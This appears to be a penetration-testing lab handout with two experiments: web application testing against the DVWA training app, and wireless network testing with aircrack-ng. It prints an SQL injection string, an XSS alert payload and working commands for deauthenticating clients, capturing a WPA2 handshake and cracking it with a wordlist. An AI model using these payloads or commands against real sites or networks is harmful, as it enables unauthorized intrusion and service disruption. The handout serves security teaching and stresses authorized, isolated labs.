Experiment 6 Web Application Testing

Learn Web Application Security: Understand the types of vulnerabilities commonly found in web applications, such as SQL Injection and Cross-Site Scripting (XSS).

Tools:
- Burp Suite
- OWASP ZAP
- DVWA (Damn Vulnerable Web Application)

Steps:
1. **Set Up the Environment**:
   - Deploy DVWA on a local server (e.g., using XAMPP or Docker).
2. **Intercept Traffic**:
   - Use Burp Suite or OWASP ZAP to intercept and analyze HTTP requests and responses.
3. **Test for Vulnerabilities**:
   - Perform SQL Injection:
     ```sql
     ' OR '1'='1' --
     ```
   - Perform Cross-Site Scripting (XSS):
     ```html
     <script>alert('XSS')</script>
     ```
4. **Validate and Document Findings**:
   - Exploit identified vulnerabilities and document your process.

Experiment 7.
5. Wireless Network Penetration Testing
Objective:
Test the security of wireless networks.

Tools:
- Aircrack-ng suite
- Wireshark

Steps:
1. **Monitor Wireless Traffic**:
   - Use `airodump-ng` to capture wireless packets:
     ```bash
     airodump-ng wlan0
     ```
2. **Deauthentication Attack**:
   - Disconnect clients from the network:
     ```bash
     aireplay-ng --deauth 0 -a <AP_MAC> wlan0
     ```
3. **Crack WPA2-PSK**:
   - Capture the WPA handshake:
     ```bash
     airodump-ng -c <channel> --bssid <AP_MAC> -w capture wlan0
     ```

   - Crack the handshake using `aircrack-ng`:
     ```bash
     aircrack-ng -w rockyou.txt capture.cap
     ```
4. **Analyze Traffic**:
   - Open the captured packets in Wireshark to analyze for sensitive data.

Notes:
- **Ethical Guidelines**: Always perform these tests on authorized systems or in isolated environments like VMs.
- **Preparation**: Set up a controlled lab using tools like VirtualBox, VMware, or a dedicated network environment.
- **Documentation**: Keep a detailed report of findings and recommendations for mitigation.